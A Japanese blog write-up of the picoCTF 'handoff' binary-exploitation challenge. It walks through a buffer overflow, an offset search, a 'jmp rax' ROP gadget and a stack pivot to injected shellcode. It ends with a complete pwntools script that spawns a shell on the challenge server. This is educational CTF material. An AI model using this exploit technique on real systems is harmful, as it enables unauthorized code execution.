Logo

picoCTF handoff Write up (Stack Pivot)

picoCTF の handoff を解いた備忘録。Stack pivot を初めて知ったのでその方法を書いておく。

Last Modified: 2025/10/24



初期調査

ソースコードはこんな感じ

#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
  char name[8];
  char msg[64];
} entry_t;

void print_menu() {
  puts("What option would you like to do?");
  puts("1. Add a new recipient");
  puts("2. Send a message to a recipient");
  puts("3. Exit the app");
}

int vuln() {
  char feedback[8];
  entry_t entries[10];
  int total_entries = 0;
  int choice = -1;
  // Have a menu that allows the user to write whatever they want to a set
  // buffer elsewhere in memory
  while (true) {
    print_menu();
    if (scanf("%d", &choice) != 1)
      exit(0);
    getchar(); // Remove trailing \n

    // Add entry
    if (choice == 1) {
      choice = -1;
      // Check for max entries
      if (total_entries >= MAX_ENTRIES) {
        puts("Max recipients reached!");
        continue;
      }

      // Add a new entry
      puts("What's the new recipient's name: ");
      fflush(stdin);
      fgets(entries[total_entries].name, NAME_LEN, stdin);
      total_entries++;

    }
    // Add message
    else if (choice == 2) {
      choice = -1;
      puts("Which recipient would you like to send a message to?");
      if (scanf("%d", &choice) != 1)
        exit(0);
      getchar();

      if (choice >= total_entries) {
        puts("Invalid entry number");
        continue;
      }

      puts("What message would you like to send them?");
      fgets(entries[choice].msg, MSG_LEN, stdin);
    } else if (choice == 3) {
      choice = -1;
      puts("Thank you for using this service! If you could take a second to "
           "write a quick review, we would really appreciate it: ");
      fgets(feedback, NAME_LEN, stdin);
      feedback[7] = '\0';
      break;
    } else {
      choice = -1;
      puts("Invalid option");
    }
  }
}

int main() {
  setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
  vuln();
  return 0;
}

1 で recipient を作成。2 で recipient にメッセージを追加。3 でフィードバックを書いて終了するようです。

それぞれの選択肢で文字を入力しますが、1 と 3 の選択肢でバッファオーバーフローしています。

セキュリティ機構は以下のような感じになってます。

$ checksec --file=handoff
[*] '/home/fedora/CTF/picoCTF/practice/handoff/handoff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Stack が Executable になってます。

なので、文字を入力するときにシェルコードを仕込んで実行することができます。

バッファオーバーフローでリターンアドレスを書き換え、どうにかして仕込んだシェルコードのアドレスへ移動させればよさそうです。

2 を選択して入力する entries[choice].msg が一番バイト数がおおいのでここにシェルコードを仕込みます。

そして 3 を選択してバッファオーバーフローしてアドレスを変更します。

1 はバッファオーバーフローしますが msg の値を書き換えるだけなので攻撃には使えなさそうです。

全体的な流れとしては 1 で作成、2 でシェルコードを仕込み、3 でアドレスの書き換えになりそうです。

それではやってきましょう。

バッファオーバーフローのオフセット確認

まずは 3 でバッファオーバーフローをしたときのリターンアドレスを書き換えるまでのオフセットを確認。

pwndbg> b *vuln+452
Breakpoint 1 at 0x4013ed
pwndbg> cyclic 80
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
pwndbg> r
Starting program: /home/fedora/CTF/picoCTF/practice/handoff/handoff
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
3
Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
...

pwndbg> bt
#0  0x00000000004013ed in vuln ()
#1  0x6161616461616161 in ?? ()
#2  0x00007fff00616161 in ?? ()
pwndbg> cyclic -l 0x6161616461616161
Finding cyclic pattern of 8 bytes: b'aaaadaaa' (hex: 0x6161616164616161)
Found at offset 20

オフセットは 20 でした。

ROP

さて、問題はここからです。

msg にシェルコードを仕込めたとして、どうやってそのアドレスまで移動するかです。

今回 PIE が無効なので ROP が使えそうです。

ROP を使ってレジスタの値をいじってシェルコードを仕込んだアドレスへ移動すればよさそう。

さらに、fgets 関数の戻り値は書き込んだアドレスになります。

このことを利用して、リターンアドレスに “jmp rax” を実行するアドレスを指定すれば、feedback に仕込んだ任意のアセンブリコードを実行できます。

そして、msg に書き込んだスタックのアドレスと、$rsp の差分は常に同じなはずなので $rsp をその差分だけ引いて、“jmp rsp” すればシェルコードを実行できる。

このように rsp (esp) を操作して、意図した ROP chain やシェルコードを実行させることを stack pivot というらしい。

今回、feedback のバイト数がシェルコードを入力するには小さすぎたため、stack pivot を使う。

それでは、“jmp rax” のアドレスを探して feedback のアドレスにジャンプする。

$ ROPgadget --binary handoff --ropchain | grep "jmp rax"
0x0000000000401165 : je 0x401170 ; mov edi, 0x404060 ; jmp rax
0x00000000004011a7 : je 0x4011b0 ; mov edi, 0x404060 ; jmp rax
0x000000000040116c : jmp rax
0x0000000000401167 : mov edi, 0x404060 ; jmp rax
0x0000000000401166 : or dword ptr [rdi + 0x404060], edi ; jmp rax
0x0000000000401163 : test eax, eax ; je 0x401170 ; mov edi, 0x404060 ; jmp rax
0x00000000004011a5 : test eax, eax ; je 0x4011b0 ; mov edi, 0x404060 ; jmp rax

“jmp rax” は 0x040116c にある。

ちゃんとジャンプできるか確認してみる。

使用したのは以下のコード。feedback のところにはとりあえず nop で埋めている。

from pwn import *

p = process("./handoff")

context.arch = "amd64"
context.terminal = ["tmux", "splitw"]


shellcode = shellcraft.sh()
shellcode = asm("nop") *5 + asm(shellcode)

gdb_script = """
b *vuln+392
b *vuln+452
continue
"""

gdb.attach(p, gdbscript=gdb_script)

p.sendlineafter(b"3. Exit the app\n", b"1")

p.sendlineafter(b"What's the new recipient's name: \n", b"test")

p.sendlineafter(b"3. Exit the app\n", b"2")

p.sendlineafter(b"Which recipient would you like to send a message to?\n", b"0")

p.sendlineafter(b"What message would you like to send them?\n", shellcode)

p.sendlineafter(b"3. Exit the app\n", b"3")

p.recvuntil(b"Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: \n")


offset = 20
payload = asm("nop;"*offset)

jmp_rax = 0x040116c

payload = payload + p64(jmp_rax)
p.sendline(payload)

p.interactive()

デバッグ結果を見てみる。

[-------------------------------------code-------------------------------------]
   0x4013e0 <vuln+439>: mov    esi,0x20
   0x4013e5 <vuln+444>: mov    rdi,rax
   0x4013e8 <vuln+447>: call   0x4010b0 <fgets@plt>
=> 0x4013ed <vuln+452>: mov    BYTE PTR [rbp-0x5],0x0
   0x4013f1 <vuln+456>: jmp    0x40140c <vuln+483>
   0x4013f3 <vuln+458>: mov    DWORD PTR [rbp-0x2e4],0xffffffff
   0x4013fd <vuln+468>: mov    edi,0x4021b6
   0x401402 <vuln+473>: call   0x4010a0 <puts@plt>

...


gdb-peda$ return
#0  0x000000000040116c in deregister_tm_clones ()

ちゃんとリターンアドレスが 0x040116c になってる。

ステップ実行するとちゃんと feedback のアドレスに来たことがわかる。

[-------------------------------------code-------------------------------------]
   0x7ffc557d068e:      add    BYTE PTR [rax],al
   0x7ffc557d0690:      add    BYTE PTR [rax],al
   0x7ffc557d0692:      add    BYTE PTR [rax],al
=> 0x7ffc557d0694:      nop
   0x7ffc557d0695:      nop
   0x7ffc557d0696:      nop
   0x7ffc557d0697:      nop
   0x7ffc557d0698:      nop
[------------------------------------stack-------------------------------------]
0000| 0x7ffc557d06b0 --> 0x7ffc557d000a --> 0x0
0008| 0x7ffc557d06b8 --> 0x7fcde275a575 (<__libc_start_call_main+117>:  mov    edi,eax)
0016| 0x7ffc557d06c0 --> 0x7fcde295d000 --> 0x3010102464c457f
0024| 0x7ffc557d06c8 --> 0x7ffc557d07d8 --> 0x7ffc557d210c ("./handoff")

Stack Pivot

それではここから仕込んだシェルコードのアドレスと rsp との差分を見てみる。

仕込んだシェルのコードはデバッグ結果から 0x7ffc557d03c8 であることがわかってる。

[----------------------------------registers-----------------------------------]
RAX: 0x7ffc557d03c8 --> 0x48686a9090909090
RBX: 0x0
RCX: 0x7fcde29417c0 --> 0x0
RDX: 0x7fcde29417c0 --> 0x0
RSI: 0x1ee1b2a1 --> 0xb848686a90909090
RDI: 0x7ffc557d03c9 --> 0xb848686a90909090
RBP: 0x7ffc557d06a0 --> 0x7ffc557d06b0 --> 0x7ffc557d0750 --> 0x7ffc557d07b0 -->
0x0
RSP: 0x7ffc557d03b0 --> 0x0
RIP: 0x4013b1 (<vuln+392>:      jmp    0x401249 <vuln+32>)
R8 : 0x1ee1b2d6 --> 0x0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x7ffc557d07d8 --> 0x7ffc557d210c ("./handoff")
R13: 0x1
R14: 0x7fcde2993000 --> 0x7fcde29945f0 --> 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4013a4 <vuln+379>: mov    esi,0x40
   0x4013a9 <vuln+384>: mov    rdi,rax
   0x4013ac <vuln+387>: call   0x4010b0 <fgets@plt>
=> 0x4013b1 <vuln+392>: jmp    0x401249 <vuln+32>
 | 0x4013b6 <vuln+397>: mov    eax,DWORD PTR [rbp-0x2e4]
 | 0x4013bc <vuln+403>: cmp    eax,0x3
 | 0x4013bf <vuln+406>: jne    0x4013f3 <vuln+458>
 | 0x4013c1 <vuln+408>: mov    DWORD PTR [rbp-0x2e4],0xffffffff
 |->   0x401249 <vuln+32>:      mov    eax,0x0

ではここから $rsp と 0x7ffc557d03c8 の差分を計算する

gdb-peda$ print $rsp - 0x7ffc557d03c8
$4 = (void *) 0x2e8

0x2e8 だった。つまり rsp からこの値を引いて、“jmp rsp” すれば仕込んだシェルが実行できる。

ではやってみる。

最後のペイロードを以下のように編集して実行

offset = 20
payload = asm("nop; sub rsp, 0x2e8; jmp rsp")
payload = payload + b"A" * (20 - len(payload))

jmp_rax = 0x040116c

payload = payload + p64(jmp_rax)
p.sendline(payload)

p.interactive()
$ python3 solve.py
[+] Starting local process './handoff': pid 136814
[*] Switching to interactive mode
$ whoami
fedora

シェルが実行できました!

リモートでも実行できることを確認!

$ python3 solve.py
[+] Opening connection to shape-facility.picoctf.net on port 50700: Done
[*] Switching to interactive mode
$ ls
flag.txt
handoff
start.sh

最終的なコード

from pwn import *

#p = process("./handoff")
p = remote("shape-facility.picoctf.net",50700 )

context.arch = "amd64"
context.terminal = ["tmux", "splitw"]


shellcode = shellcraft.sh()
shellcode = asm("nop") *5 + asm(shellcode)

gdb_script = """
b *vuln+392
b *vuln+452
continue
"""

#gdb.attach(p, gdbscript=gdb_script)

p.sendlineafter(b"3. Exit the app\n", b"1")

p.sendlineafter(b"What's the new recipient's name: \n", b"test")

p.sendlineafter(b"3. Exit the app\n", b"2")

p.sendlineafter(b"Which recipient would you like to send a message to?\n", b"0")

p.sendlineafter(b"What message would you like to send them?\n", shellcode)

p.sendlineafter(b"3. Exit the app\n", b"3")

p.recvuntil(b"Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: \n")


offset = 20
payload = asm("nop; sub rsp, 0x2e8; jmp rsp")
payload = payload + b"A" * (20 - len(payload))

jmp_rax = 0x040116c

payload = payload + p64(jmp_rax)
p.sendline(payload)

p.interactive()